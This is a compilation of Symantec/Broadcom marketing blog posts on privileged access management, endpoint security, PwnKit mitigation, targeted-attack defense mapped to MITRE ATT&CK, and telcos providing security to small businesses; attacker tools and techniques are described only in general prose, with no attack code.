The following includes highlights of this conversation:
Preventing & Mitigating a Solar Winds Type Attack
Question: Top of mind for many is the recent Solar Winds attack. Organizations are anxious about falling victim to a similar type of attack. How could a PAM technology have helped to prevent or mitigate this type of attack so CISO’s can sleep better at night?
Answer: This attack shocked many of us and I am not sure that many of us will sleep well for a while, but there are two primary use cases where our Symantec PAM solution could have helped to prevent and mitigate an attack similar to what happened with Solar Winds.
First, let us consider the vendor side of the equation. Software is everywhere; it’s critical to running our businesses, and no matter how much we vet our development teams, a malicious insider, or in the case of Solar Winds, an external hacker can still gain access. For enterprises looking to protect their source code, Symantec PAM can enforce granular access controls to system resources - including files, folders, processes, registries, etc. This file integrity monitoring feature will send alerts if it detects any changes to the source code file and block the tampering programs. These preventing controls improve the underlying security of any server resource and should be considered wherever source code is being written, tested, and stored. This is something that every organization writing software should consider for protecting not only source code, but also other sensitive information, which brings up the other side of the equation.
For enterprises looking to protect their source code, Symantec PAM can enforce granular access controls to system resources - including files, folders, processes, registries, etc.
Second, for the organizations implementing, unbeknownst to them, software that has been compromised, they must remember the third tenet of Zero Trust, which is, assume breach. They need to build their defensive strategy and approach with the assumption that someone, somewhere is going to break in. In the case of the Solar Winds attack, it was through a backdoor included within the source code, but that really does not matter. What matters is this – if someone gets in, what controls are in place that will minimize the impact of this breach.
The same fine-grained access controls that we just talked about that can protect source code at the vendor can also be implemented to help prevent and mitigate the damage caused by any APT attack. After hackers gain administrative privileges, they usually install backdoor “rootkits” and begin to export sensitive data. With Symantec PAM server control agents deployed, proper access controls can be enforced such that even with root level privileges, the hacker can be prevented from:
accessing sensitive files
executing malicious commands
installing programs
stopping or starting services
initiating new inbound or outbound communications
changing log files
We have seen many customers who have deployed our PAM appliance to leverage its credential vault and session recording capabilities, now starting to look at adding agents to protect their mission critical servers because they recognize the risk if, or when, they are breached.
The Role of PAM in a Zero Trust Model
Question: You mentioned Zero Trust. This is another topic that our customers routinely ask us about, but for many, Zero Trust is more about securing the disappearing perimeter. How do you position your PAM solution into a Zero Trust architecture and model?
Answer: Zero Trust has been around for a long time, but has risen in mindshare with the migration to cloud, adoption of DevOps, and more recently the huge shift to working from home – but, the principals of Zero Trust have been driving customers to implement PAM technologies for years.
Consider the Three Core Tenets of Zero Trust:
#1: The first tenet of Zero Trust is to identify every user and device requesting access. Historically, privileged accounts and passwords were often shared by multiple internal and sometimes external individuals, which made auditing who actually accessed the account and performed activities with it nearly impossible. Over 20 years ago, auditors recognized this risk and encouraged organizations to implement stronger controls over these accounts. This led to the creation of the first PAM tools, which addressed this challenge by vaulting the credentials used to access these accounts, and then required users to authenticate themselves to the PAM solution, often with a two-factor credential, before they could gain access to the credential.
#2: The second tenet of Zero Trust is to enforce least privileged access. Privileged accounts commonly provide unlimited access and permissions that, if compromised, would enable a malicious user to do more damage or steal more data. PAM technologies address this issue by enforcing granular access controls over these accounts, such that organizations can limit which actions different users can perform when using the same account. In this way, organizations can define and enforce separation of duties policies over accounts, such as root. This makes it more difficult for the hacker, as they may need to compromise many accounts in order to gain the privileges they need to carry out an attack.
#3: Finally, there is the third tenet of Zero Trust, which is to assume breach. Despite all the defenses you create to keep bad actors out, you must assume that someone will find a way in, and we have already discussed the ways that Symantec PAM can help to mitigate the damage when this occurs.
The Role of PAM in DevOps
Question: We have spoken a lot about users, but what about non-humans. How do you view this use case? Are you seeing your customers deploying your PAM solution into DevOps environments? Is this a big driver for new deals?
Answer: Yes. Many of our customers are using Symantec PAM to protect non-human access. In fact, we conducted a recent survey of our customers, and nearly 50 percent of our customers are leveraging our application to application password management (AAPM) capabilities to secure communications between applications. AAPM is primarily used to removed passwords or other credentials that are embedded in apps, scripts, or configuration files, where they could be easily stolen. Instead, apps are required to authenticate themselves to Symantec PAM and request a privileged credential, exactly as a human user would do.
People are still the weakest link in many security strategies, and getting those privileged credentials and accounts that are being accessed by human actors is still the top priority for many organizations.
This AAPM feature is exactly what is used to secure privileged credentials used in the DevOps environment to automate CI/CD processes. The only difference is that these tools may use credentials other than passwords, and therefore, this is more commonly referred to as Secrets Management. Symantec PAM supports both AAPM and Secrets Management natively, and we will be enhancing these capabilities in the next 12-18 months so we can accommodate more types of credentials. This will be a big investment area for us.
In terms of new business, we are seeing capacity growth from existing customers that are expanding from the vault into AAPM and Secrets Management use cases; however, we are not seeing this a primary driver for new deals. We are still, most commonly, seeing organizations begin with vaulting credentials and implementing session management and recording. People are still the weakest link in many security strategies, and getting those privileged credentials and accounts that are being accessed by human actors is still the top priority for many organizations.
|
The Story Behind Symantec’s Full-Court Press on Innovation
The fruit of earlier investments, product strategy decisions, paid off with a revamped product portfolio and a transformed company
The intense and rapid rise of so called digital transformation, or what Symantec calls the Cloud Generation, raises new, often vexing scenarios for security practitioners, who can’t protect their data any longer simply by erecting perimeters around their corporate networks.
“Security has changed a lot over the last couple of decades,” said Eric Chien, a distinguished engineer at Symantec in the company’s security response group. “It used to be a question of defending a single machine and making sure that it was protected. That’s no longer the case.”
In the era of cloud computing and mobile, this means a couple of things:
Individual products now must work together seamlessly.
CISOs need solutions that “future-proof” their operations to help organizations defend their valuable information against rapidly-evolving security threats.
Symantec took that as the cue to invest in building new platforms and products. It took a couple of years of spade work as well as the timely acquisitions of coveted technologies through the purchase of Blue Coat, SkyCure and Fireglass. The upshot: A portfolio of innovations that offers integrated protection across endpoints, web, and messaging apps.
Hardening and Isolation
In the latest version of Symantec Endpoint Protection, Symantec added hardening and isolation technologies that act to prevent bad or suspicious applications from winding up on your network.
The genesis of this effort traces back to the company’s earlier work with Symantec Critical Systems Protection (SCSP), which isolated apps on servers. But SCSP also required an advanced level of technical expertise. The challenge was to port that level of functionality to a wider market and make it more usable and accessible to help endpoint security administrators secure their organizations’ endpoints. It took Symantec about 15 months but its engineers came through.
“It used to be a question of defending a single machine and making sure that it was protected. That’s no longer the case.”
Symantec- The Future of Innovation
And the timing was propitious. In the last couple of years, attackers have graduated to the deployment of more sophisticated attacks that are more difficult to detect by traditional means. CISOs found themselves in situations where good users and good applications were being used to do bad things.
So rather than just relying on blocking the bad stuff, Symantec has taken a different tack. SEP 14.1 not only blocks all known and unknown malware, but its hardening features put good apps in their own “castle” to ensure that bad things don’t get in.
If it’s an unknown app, the IT department has more information at its disposal to make an informed judgment about next steps. Until then, the app will run in what Symantec calls “jails,” so that potentially bad things don’t get out and persist. The application can still run, but with limited privileges to protect the operating system and other good applications from any harm or tampering. It can contain items opened from an untrusted source (email or web, by example) to mitigate any risk they may pose and restrict these applications to only ‘good’ behavior.
Innovating to Foil Malicious Email
What’s more, as Symantec continued to build out its Integrated Cyber Defense platform to provide better protection for endpoints, network, the cloud and email, the company’s engineers came up with two new ways to tackle the phishing menace.
First, it integrated security awareness training into Symantec’s email security solution so that security teams can run simulated campaigns to assess the readiness of any organization to malicious email attacks. These simulations closely resemble real-world attacks and can be easily customized. Security teams can also call up a heat map revealing which users are more susceptible to scams and order up training sessions to learn what to avoid.
The second innovation was to integrate isolation technology into Symantec’s email security technology. Isolation eliminates threats by creating a secure execution environment. So, if someone clicks on a link, the action now first gets rendered in Symantec’s isolation portal; any malware payloads get neutered and only safe, inoculated web content is sent down to the browser.
Deception
Cyber criminals have been successfully deceiving end users for decades. But what about a way to give them a taste of their own medicine?
Deception picks up where an organization’s other security technologies leave off, providing help uncovering the presence of an attacker. Deception technology deceives attackers into believing they have successfully breached an organization, when in reality, attackers are shunted to a false environment, served up fake assets and information – essentially leading them on a “wild goose chase” -- while the security team works to neutralize the attack.
Until recently, however, customers had to rely on simple network “honeypots” - essentially fake lures deployed as counter-weapons to fool hackers with phony credentials, databases, web servers, and vulnerable systems. These were usually good enough to fool novices, though not sophisticated attackers. They also required a lot of time and expertise to deploy, manage and maintain.
Symantec got around that bottleneck by integrating deception capabilities into its endpoint protection family, allowing defenders to detect and identify attackers during the early stages of a breach.
This is a big deal on several different planes. Attackers can be on a network quite a while before they get detected. Operating in stealth, they may want to carry out reconnaissance of an organization’s entire infrastructure, or map out the network’s file structure.
Customers can now turn on deception and deploy the high-interaction bait that is integrated in the SEP family to improve their attack detection. As a result, they can reduce the time that it takes to detect attackers from months to a matter of minutes.
The Power of Integrated Product Intelligence
Behind the scenes, a lot of hard work and consideration has gone into building out the various pieces of Symantec’s Integrated Cyber Defense platform approach. The overarching goal was to have multiple components sitting at every control point - desktop machines, the perimeter network, the cloud, and the mail server - that operate in conjunction with each other, sharing information about potential signs of trouble.
“It's bringing all of the forces to bear that we have upon the security problems,” said Adam Glick, chief architect for Symantec's Advanced Threat Protection. “There are plenty of competitors that will tout machine learning or will tout their sandbox or will tout any individual technologies. But ultimately the bad guys will continue to do their work and no one technology is going to solve it all.”
True enough. It’s no longer just about watching a single machine. Systems need to be able to simultaneously monitor any number of machines, networks, and cloud implementations to detect signs of potential trouble. They also need to help CISOs understand what’s taking place in the threat environment.
As Kevin Haley, the director of Symantec’s Security Technology and Response Group notes, “You have to bring your security data together because if something is happening in one place and something else is happening in another, by themselves that may not have meaning.”
With data spread around so many places nowadays, companies also need to gather up information from multiple places and make sense of it. That’s a formidable task. Advanced attackers nowadays hide their tracks all too well. Collecting malicious, or just suspicious, data is no longer sufficient. You need to look at everything. You need to be driving back telemetry on every action that's happening on a machine so that you can understand when something might be going wrong, investigate further and then bring all the data together.
Several years ago, Symantec made a major decision to ensure that its telemetry was not just focused on malicious items. It also wanted telemetry about clean programs and clean actions happening on machines as well. That data came from hundreds of millions of machines, endpoints and devices as well as all of Symantec’s interception points around the globe.
That’s where Symantec’s Global Intelligence Network plays a key role in identifying attacks. With sensors tracking all over the internet as well as at all of those major control points, the system sifts through this enormous volume of data to uncover the proverbial needles in the haystack to identify threats before they actually unfold. It supports that effort with a centralized team of security experts, analysts, and engineers on the front lines who track attackers 24 x 7.
Automating Analytics
Around 2010, Symantec saw the need to dive in deeper to better understand the anatomy behind some of the more extreme attacks taking place. While most customers remained unaffected, the attacks in many cases represented a new level of proficiency among cyber criminals, who were rapidly improving their ability to hide their fingerprints.
Symantec subsequently formed a team to focus on these more advanced attacks, gathering exponentially larger amounts of data related to threats and attacks. The amount of information was beyond human capacity to analyze and use to bolster customer protection. That’s why Symantec started investing heavily in automation and machine learning. The goal was to automate many of the tasks previously performed by human analysts and find more things, faster, with the help of advanced analytics
Nowadays, Symantec uses Machine Learning and AI to go through the telemetry and determine the presence of a targeted attack. It then analyzes all the machine information, all the proxy information, all the email information - to find any links to other similar attacks. It also crawls Symantec’s entire telemetry set to establish a web of all of the related machines, programs, URLs, and companies that might be impacted.
“The goal was to take the vast amount of data that Symantec was privy to from the threat landscape and pull together information about the highly malicious activity we found there so that we could pass it over to the products and our customers to better protect themselves,” said Vikram Thakur, a technical director with Symantec’s STAR team.
It didn’t take long to bear fruit. Targeted Attack Analytics helped to spot many new types of attacks - including the latest Dragonfly incident in which shadowy adversaries had conducted cyber attacks. against the energy sector in North America and Europe. (Symantec received a nod from the Department of Homeland Security for its work uncovering the Dragonfly campaign against energy companies.) TAA merges the best threat hunting talent in the business with machine learning and AI and productizes it, putting in our customers hands, the most sophisticated advance threat detection possible.
Stay Tuned for More
A year and a half ago, CEO Greg Clark promised customers more innovation and faster delivery of new products. Surveying the track record to date, Clark says the company’s done all that and more, moving to anticipate industry shifts and innovate faster than its rivals.
And, that effort is paying off: For the third straight year, the AV-TEST Institute, the equivalent of a Consumer Reports for enterprise and consumer cyber security, has awarded the prestigious Best Protection Award to Symantec.
But Clark says that Symantec is nowhere near finished. In coming months, the company intends to step up the pace of innovation, adding new capabilities to its security offerings.
|
The Symantec Endpoint Security Approach
Solving Endpoint Challenges Across the Enterprise
At Symantec, a division of Broadcom (NASDAQ: AVGO), we recognize the challenges CISO and SOC analysts are facing as they search for the best endpoint security solution to protect the modern enterprise. These challenges have been compounded by the increase in advanced virulent malware strains, complexity of the cloud journey and of course COVID-19-related, unplanned, remote workforce. Some of the challenges we see include:
The need to evaluate and coordinate multiple security vendors, technologies, and dashboards
Multiple point solutions seemingly required for complete endpoint protection
A plethora of agents and the complexities related to deploying and managing them
Hiring and retaining security talent needed to run all these tools is costly and challenging
Despite the huge effort to build a seamless solution via various vendors, you may still end up with security gaps, configuration errors, and operational risks
High ongoing maintenance and costs
In response to what we have been hearing, we are constantly innovating keeping the challenges large enterprises face in mind. Our focus is on delivering the best-in-class protection and ROI to delight our customers -both Security Analysts and CISOs alike. We have been listening to our customers and are launching the following enhancements to our Symantec Endpoint Security Complete (SESC) solution now:
Threat Hunter
Additional integrations into Symantec’s Unified Cloud Console
Expanded MITRE ATT&CK® technique detections
Behavior Isolation
Mobile with new protection and privacy features
Device group synchronization with Azure Active Directory
User and location based policy targeting
|
The Symantec OnePAM Solution by Broadcom Software
How to secure your Linux Environments from PwnKit vulnerability with Symantec PAM Server Control
Qualys discovered a new vulnerability for Linux that has existed on these machines for 12 years. The vulnerability was found “in a system tool called Polkit, which gives attackers unfettered root privileges on machines running any major distribution of the open source operating system.” *
Background
Similar to most operating systems, Linux provides internal security that controls the permissions granted to users and applications. This is intended to enable organizations to enact a least privileged access posture, support separation of duties, and minimize damages if the system is hacked or accessed by a malicious user.
Within Linux, the PolKit tool enables non-privileged system processes to interact with privileged ones. It also provides an interface that allows authorized users to execute privileged commands. Researchers found that this interface (called pkexec) contains a memory-corruption vulnerability, which when exploited to escalate a user’s privileges to root level access. They also found that “exploiting the flaw is trivial and, by some accounts, 100 percent reliable.” * Once a hacker gains access to a machine with this vulnerability, they gain unfettered access to run any command, upload any payload, or download any data on the machine. This vulnerability can even be exploited when the PolKit daemon is not running. The vulnerability has been nicknamed PwnKit (tracked as CVE-2021-4034).
Introducing Symantec PAM Server Control
Symantec Privileged Access Management (PAM), by Broadcom Software, is designed to prevent security breaches by protecting sensitive administrative credentials, controlling privileged user access, proactively enforcing security policies and monitoring and recording privileged user activity across virtual, cloud and physical environments. Since the 4.0 release, Symantec PAM now also delivers localized, fine-grained protections over operating system-level access and privileged user actions on your servers, including Linux, through the server control agents.
Figure 1: A Deeper Look at Symantec PAM Server Control Agents
Using centrally managed task delegation and platform-specific software restrictions, the Symantec Privileged Access Management Server Control (PAMSC) agents provide file, directory, and resource-specific, kernel-level controls, registry protection, and other localized granular controls to ensure that high-value assets and resources hosted on critical servers are protected from damages caused either by malicious or accidental insider actions.
How Server Control Agents Address the PwnKit Vulnerability
Hackers gain root access by leveraging the Unix setuid command, one of the most sensitive services provided by the operating system, which allows them to substitute their current ID for root, thereby becoming the root administrator and gaining all the privileges assigned to root. The PAMSC agents can intercept the Unix setuid system call and check whether the user is authorized to perform the substitution.
In addition, the substitute user authority check also includes program pathing, which enforces controls such that users are only permitted to substitute their user IDs through specific programs. Security administrators can test programs that are marked as setuid or setgid executables to ensure that they do not contain any security loopholes that can be used to gain unauthorized access. Programs that pass the test and are considered safe can be defined as “Trusted Programs” within PAMSC, and any program that is not contained in this list can be blocked from performing substitutions. Furthermore, the PAMSC Self-Protection Module (also referred to as the PAMSC “watchdog” ) knows which program is in control at a particular time and checks whether the program has been modified or moved since it was classified as Trusted. If a Trusted program is modified or moved, the program is no longer considered Trusted and PAMSC does not allow it to run. This is critical in controlling who can substitute to root and thereby gain root access.
Combined, these PAMSC security features can be used to protect against the PwnKit vulnerability. For example, using this vulnerability, the attacker uses /usr/bin/pkexec to gain authorized access. PAMSC can prevent attackers from exploiting this attack, but first you need to confirm that it is properly configured. Log into PAM and check the following configurations:
Verify that the default access of the PROGRAM class is set to none.
Verify that the utility /usr/bin/pkexec is protected by a program record.
One you have confirmed that these settings are correct, you can confirm that they will work by:
In the root window, try to modify the utility e.g., touch the pkexec utility. This will cause it to become Untrusted to Access Control.
In the root window, attempt to execute pkexec.
The program will fail to execute because it is no longer trusted by PAMSC. The resources in the PROGRAM class are monitored by the seoswd daemon. Any alteration of the trusted program will result in the daemon “untrusting” the program and prevent its execution.
Finally, we also have PROCESS class, PAMSC can protect executable programs running in their own address spaces from being killed. You can use this feature to define PROCESS records to protect important daemons and applications against denial of service attacks.
It should be noted that even if a hacker could gain unauthorized access to a Superuser or Root account, the PAMSC agents can still enforce fine-grained access controls over what they could do with that account.
Restrict Uncontrolled Use of Root
The PwnKit vulnerability can provide a means for hackers to gain access to the root account, which has full control of all resources on a Unix server. This includes audit logs, configuration files, and application data. Since root is a shared account, it is not uncommon for a dozen or more users on a server to share the root password to accomplish their tasks. However, with so many users sharing this key account, user accountability becomes difficult. It is important to realize that unauthorized users can obtain root access using various security hacks besides the PwnKit vulnerability (e.g., buffer overflow exploits, trojan horses, and improper file permissions and settings.
Symantec PAMSC can restrict users' access, even when they become root. It addresses this issue by creating roles that define the administrative tasks that can be run by specific users. For example, you could define a role that restricts the user to certain application software to perform management activities on that application, or you could restrict a user to read-only access for system files if their job was simply doing backups. In this fashion, you could also enforce separation of duties through different roles for different users, who have access to the same root account.
Symantec PAMSC can also prevent known exploits in Unix by monitoring setuid and setgid programs. The weak points involve back doors and trojan horses:
A back door is a setuid program that is owned by root. Thus, for as long as it is running, the program serves as an inconspicuous access (back door) to root privileges for whomever is running it.
A trojan horse is a destructive program that masquerades as an innocent program. A hacker attacking a Unix system might, for example, replace the su command with a rewritten version that not only performs the command’s proper function but also e-mails the target account-name and its password to a specified address.
Through the PAMSC program and secfile classes, administrators can prevent attacks or control the damage that can happen because of these attacks.
Summary
Historically, Symantec as part of Broadcom Software, has offered two PAM architecture frameworks:
Privileged Access Manager, which protected privileged accounts by vaulting their credentials and forcing privileged users to authenticate themselves to the tool before access was granted. This was an appliance-based product that leveraged a proxy-based approach.
Privileged Access Manager (formerly Privileged Identity Manager), which enforce fine-grained access controls over privileged users through agents installed on the server operating systems.
With the release of Symantec PAM 4.0, we have brought these two products together as a single consolidated OnePAM solution. Although the PAMSC agents still need to be deployed on the servers to be protected, these agents and their policies can be configured through the PAM appliance user console.
Figure 2. Conceptual Architecture for OnePAM
This eliminated the PAMSC Enterprise Manager server and replaced the Distribution Server with a new Utility Appliance to yield a consolidated PAM solution that can address all your privileged access management use cases. For more information on how we can help you, please visit our Symantec PAM product page or contact us here.
*ARS Technica, A bug lurking for 12 years gives attackers root on every major Linux distro, Dan Goodin, January 25, 2022.
|
The Tea Cup Security Conundrum, or How to Prevent Targeted Attacks
Endpoint Security protects against hard-to-find threats at every stage of the attack chain, blocking hackers from moving laterally and exfiltrating your network
Every morning, before going off to help cyber defenders save the world, I start my day with a nice cup of tea. This morning, as I accidentally poured salt instead of sugar in my cup, I realized something: I was staring at one of the major security conundrums of our day. Separating the crumbling salt from the water is impossible and the only way to completely get rid of it is to dump the entire cup out. Same goes for an organization facing a targeted attack, in which malicious actors are skilled enough to penetrate the network and use a variety of techniques to move laterally, evade detection, and wreak havoc. Even if you found the machine on which the initial breach happened, the only way to get rid of an attacker’s privileges and persistency once they are inside is to rebuild the entire network from scratch.
The Targeted Attack Challenge
In the cyber threat landscape today, we’re increasingly seeing sophisticated targeted attacks on organizations, with these attacks growing more extensive, both in techniques and impact. Targeted ransomware, a type of targeted attack with a particularly lucrative payout for hackers, continues to be one of the biggest cyber crime challenges facing enterprises. According to Symantec’s Internet Security Threat Report on Targeted Ransomware, the number of businesses affected by these attacks has grown dramatically since 2017 – back then we saw a mere two organizations a month being attacked. Fast forward to 2019, and we’re seeing over 50 companies a month hit by targeted ransomware. Some attacks have resulted in thousands of computers being encrypted and sensitive data being stolen, leading to loss of business, reputation harm, and millions of dollars in clean-up costs.
Source: Targeted Ransomware: An ISTR Special Report
With hackers seeking to reach and encrypt as many machines as possible in an organization, recent targeted ransomware attacks have seen malicious actors use a range of methods and tools to move laterally through a network. These include evolving living off the land techniques in which hackers use operating system features and tools already installed on targeted machines to traverse the network. The benefit for attackers is that they don't need to create as many or even any files on the hard disk, thereby reducing the chance they’ll be detected by traditional security tools. Frequently used living off the land techniques include: dual-use tools such as PsExec, which allows execution of processes on other systems; file-less tools such as Mimikatz, which is used to escalate privileges; and running PowerShell to execute commands and conduct reconnaissance.
The Early Bird Catches the Hacker
Enterprise security teams are aware of the risk from targeted attacks, but they continue to struggle to stay ahead of the threat. There is a common misconception that there is enough time to stop attackers in the window between when they breach the first machine and when they begin moving laterally through the network. Some security vendors say this window can last for an average of two hours and suggest that you can remediate the threat within 60 minutes to stay ahead of it.
While some targeted attacks may be like that, others – that are becoming more common today – can obliterate your environment in minutes, and waiting 60 minutes will, frankly, leave you in the dust. When a global transport and logistics company was hit by the crippling NotPetya ransomware in 2017, the malware propagated across the network in just seven minutes. In another instances, NotPetya was able to infect 1000 machines in under two minutes.
To effectively protect against targeted attacks, you need to act fast and prevent threats as early as possible at every stage of the attack chain. Here are the phases of an advanced targeted attack, according to the MITRE ATT&CK framework:
Because hackers are persistent and often move rapidly across the attack chain, you can’t afford to wait for a breach to occur before taking any action and you certainly can’t rely on manual response techniques. The only way to combat these advanced threats is to make the enterprise resilient to attacks as early as possible, even in the pre-attack phase, by reducing the attack surface. If hackers find a way in, thwarting them at the endpoint, before they have a chance to persist on the network, is critical.
The Symantec Endpoint Security Approach
That’s why at Symantec, we focus on providing protection not only across the entire MITRE ATT&CK chain, but beyond it, at the pre-attack and post-breach stages – with prevention and remediation as early as possible. To this end, our Endpoint Security platform is built on four pillars: Attack Surface Reduction, Attack Prevention, Breach Prevention, and Endpoint Detection and Response (EDR). Across these pillars, Symantec Endpoint Security delivers the deepest protection with the broadest coverage, and with the widest deployment options, via a single agent and unified management.
Attack Surface Reduction
This pillar covers measures we can take ahead of time to make organizations more resilient to attacks. This includes implementing pre-emptive advanced policy controls and technologies that mitigate vulnerabilities in applications, Active Directory and operating systems. Breach Assessment, a capability unique to Symantec, continuously works in the background to gather information about Active Directory configurations, privileged accounts, security settings, and more. We also use risk intelligence on known vulnerabilities to prioritize response, ensuring the most serious threats are remediated first.
With Device Control, App Control and Isolation Policies, admins can limit the ability of users or apps to introduce malware from outside of the corporate environment, minimizing the risk of exfiltration. Admins can control file, registry and device access, and use application whitelisting to allow known-good apps to run, while isolating unknown apps so they can’t execute malicious code on machines.
Attack Prevention
Our prevention stack includes malware prevention on workstations and servers, Mobile Threat Defense (MTD) for iOS and Android devices, and Network Integrity for modern operating systems (Windows 10, Windows 10 in S-mode and Windows on Arm devices). These tools use ML and AI-based detections to effectively protect against file-based and fileless threats at the device, OS, and app levels.
To block attackers at the Incursion and Infection stages of the ATT&CK chain, we use tools such as: advanced ML for pre-execution detection and protection against known and unknown threats, reputation analysis to determine the safety of files and websites using Symantec’s GIN, suspicious file behavioral monitoring, and memory exploit prevention to block zero-days in vulnerable applications and software. Additionally, our Secure Connection capability prevents network-based threats on roaming devices, by securing Wi-Fi connections with an automatic VPN.
Breach Prevention
If an attack has managed to bypass all attack prevention controls, it attempts to breach the enterprise by either moving laterally (east - west) or contacting a command and control server (north - south) to further advance infection or exfiltration.
A common technique used by attackers to move laterally is manipulation of Active Directory for high-privilege credential theft. Endpoint Security identifies such breach attempts by using deception techniques such as fake files, credentials and web requests to lure attackers in. By obfuscating to distort the attacker’s perception of an organization’s AD resources from the endpoint, it ensures early containment and prevention of the breach. Additionally, we use Network Firewall and Intrusion Prevention and IP blacklisting to prevent data exfiltration and hackers’ communication with command and control servers.
Endpoint Security is the only solution that blocks hackers where a breach starts – at the endpoint – before they can utilize Active Directory to get to other assets and achieve persistence.
Detection and Response
Even if you found a machine that was breached in an attack, and completely destroyed it, attackers generally infect multiple endpoints in an organization and may leave them in sleeping mode. These dormant machines are difficult to find, which is why Endpoint Detection and Response (EDR) is critical. Symantec’s EDR, combined with expert SOC analysis, provides incident responders with complete visibility into attacker activity on the device. Using real-time cloud analytics that can identify the stealthiest targeted activity, responders can quickly investigate and close out incidents to minimize attack impact.
Our Targeted Attack Analytics is a foundational element for preventing attacks because automation ensures we can respond within seconds or minutes. Our researchers analyze telemetry from more than 175 million endpoints secured by Symantec to provide insight on attackers, techniques, impacted machines, and remediation guidance. Our Threat Hunting tools include built-in playbooks with best practices for anomalous behavior detection. Lastly, Rapid Response takes direct action on the endpoint for remediation.
How Symantec Prevents GoGalocker and APT28
Now that I've gone over our protection stack, let’s see how some of these capabilities work in action. I take GoGalocker and APT28 as an example of targeted attacks. In the sections below, I show which techniques these attack groups use, and how Endpoint Security blocks the hackers at each stage of the attack chain.
GoGalocker
GoGalocker, a highly-disruptive targeted ransomware family that appeared in early 2019, has attacked organizations in a range of business sectors. In March 2019, Norwegian aluminum giant Norsk Hydro revealed that it had suffered a ransomware attack appearing to be GoGalocker, crippling the company’s computers and operations. This and other targeted attacks like it, demonstrate the extent of damage sophisticated hackers can cause to business, quickly and covertly.
Below are the attack techniques GoGalocker has been found to use to infiltrate organizations and encrypt machines on a large scale. These techniques are mapped to the MITRE ATT&Ck framework.
In a nutshell, once GoGalocker attackers manage to get into a victim’s network, they focus on mapping out the network and obtaining credentials to access other machines and escalate privileges. The attackers use popular living-off-the-land techniques to leverage resources in the victim’s environment such as Windows resources that can be used to run shellcode. They also use tools such as Mimikatz and PuTTY to disable security software and change privileges. Once the attackers acquire credentials, they proceed to spreading the ransomware. Lastly, they log off the current user, likely as a way to prevent anyone from logging in and stopping the encryption process.
Like many targeted attacks, the bulk of this ransomware’s activities are focused on credential theft and lateral movement. Symantec provides protection at every stage of GoGalocker’s attack chain. Techniques such as Intrusion Prevention and firewall block command and control setup by hackers; and Active Directory Security prevents lateral movement and credential access through obfuscation of an attacker’s AD perception.
APT28
APT28 is a threat family has targeted government, military and security organizations. The heat map below shows techniques used by APT28 to steal information.
In order to gain a foothold in the victim’s environment, the hackers generally use specially-crafted spearphishing emails and bait individual users to open them. They may also use vulnerability scanning, waterhole attacks (exploiting legitimate websites to deploy malware), and zero-days for initial infiltration. Once inside, the hackers steal domain credentials using Mimikatz and Keyloggers, tools that steal credentials from browsers and email clients. Now that they’ve obtained credentials, which are used later to access other endpoints, they need to locate their targets. This is not as complicated as you may think. They ask Active Directory because that is where all the information about the resources is located. Think of it as an organization’s treasure map.
After they find their targets, they need to move laterally. Using legitimate services and Pass-The-Hash techniques with stolen credentials, they proceed to infect more endpoints. Lastly, after they’ve stolen valuable data inside databases, documents, and email, they exfiltrate the data.
Symantec protects against APT28 by covering every stage of the kill chain. In the initial access stages, we use our pre execution advanced machine learning for detecting malware based on static attributes. Throughout the execution phase, we used advanced heuristics and deep reputation data for on-execution threat prevention. We disrupt internal reconnaissance and stop lateral movement using Active Directory obfuscation, and block outgoing communication using IPS and laser-focused threat hunting.
Timing is Everything
The cyber security landscape has changed. Just like it’s nearly impossible to scoop out particles of sugar from a warm cup of tea, so too is it impossible to expel targeted attackers from your organization once they’re inside. Today’s hackers are moving fast and are more persistent than ever. They will follow the path of least resistance in your organization to find a way in. This includes using multiple entry points such as mobile, and quickly hunting for domain admin credentials once they are inside, to achieve total enterprise control. If that happens, the only way to get rid of them is to rebuild your entire domain. These attacks can happen in mere minutes – not hours or days – requiring defenders to prevent threats early across the attack chain, before damage is done.
Symantec Endpoint Security truly reduces, from beginning to end, the possibility of a breach in your organization, in an automated manner. We protect all operating systems and endpoints – traditional and modern – in your environment, in a single solution. You benefit from attack surface reduction, detection and prevention at every stage of the attack kill chain – the only way to be at the point of breach on time and prevent it.
In the next blog in our series about Symantec Endpoint Security, we'll discuss management architectures to help customers where they are: on-premises, and where they are going: the cloud.
|
The Telco’s Role as a Cyber Security Provider to SMBs
Telecommunications providers are reducing the cost of enterprise grade business protection for SMBs to a few dollars per month
Cyber criminals are targeting small and midsize businesses (SMBs) and inflicting business disruption with growing frequency. We find daily examples of criminals - lone wolves as well as state-sponsored actors - holding business files and emails for ransom. It’s believed that as many as 5% of SMBs globally have fallen victim to ransomware attacks
In other instances, cyber criminals have exploited an SMB’s cyber defenses to stage gateway attacks against bigger organizations that have either direct or indirect relationships with the company.
No matter the type of company – it doesn’t matter whether we’re talking about a sole legal practitioner or a 10-person medical office – SMBs are now in the crosshairs. Yet while the need for enterprise-grade security has never been more pressing, the fact is that few SMB owners even believe they are at risk of attack.
In speaking with security-conscious SMBs about how they protect themselves against cyber crime, we find that they plan their strategy by asking three basic questions:
What type of security products do I need?
How much does it cost?
Where should I buy it?
Figuring out question No. 3 answers questions No. 1 and No. 2 by default. It’s where SMBs should begin. It’s also why we believe SMBs should reach out to telcos to help defend their businesses against cyber attacks.
World-class security firms have established partnerships with telcos
In the last 3 years, many cyber security companies have forged partnerships with telcos to deliver products that are bundled with those companies’ core services, such as broadband and mobile. More and more, we find telcos delivering proper cyber security products along with the purchase of its services for SMBs.
For example, if you’re an SMB in the UK or Ireland, British Telecom offers what it calls “BT Device Protection” together with its premium broadband service. That makes things a lot simpler. The SMB only needs to deal with one company and pay one bill. What’s more, the immense purchasing power of the telco benefits the SMB by reducing the cost of enterprise grade business protection to a few dollars per month.
Removing Guesswork
The cyber security industry has not made product buying decisions easy. The SMBs we speak with often ask why they can’t just use the “free stuff” that’s out there. Do they really need to buy different products to protect different devices made by different device makers? Do they need to get locked into contracts?
These are legitimate and relevant considerations for small business owners with limited budgets who can only spend hundreds – not thousands - of dollars each year on cyber defense.
Like a concierge, the telco will have done the necessary leg work, evaluating security partners and leveraging their expertise to determine which products to build for their buyers. For example, most SMBs nowadays are adopting cloud services and apps, such as Office 365 for email and Box for storage. They need to keep these important emails and files protected. A telco that already has a cyber defense partner will be able to answer that requirement with an integrated, all-encompassing product to block viruses and other malware launched by cyber criminals.
The Payoff: Simplicity
By any measure, the operational scope of the average telco is impressive. They deliver around-the-clock voice and data networks to locations around the world. They offer custom plans for consumers, small business and enterprises. At the same time, they operate thousands of service centers, generate accurate bills, and aggregate services such as phone insurance, business apps, and third-party technical support.
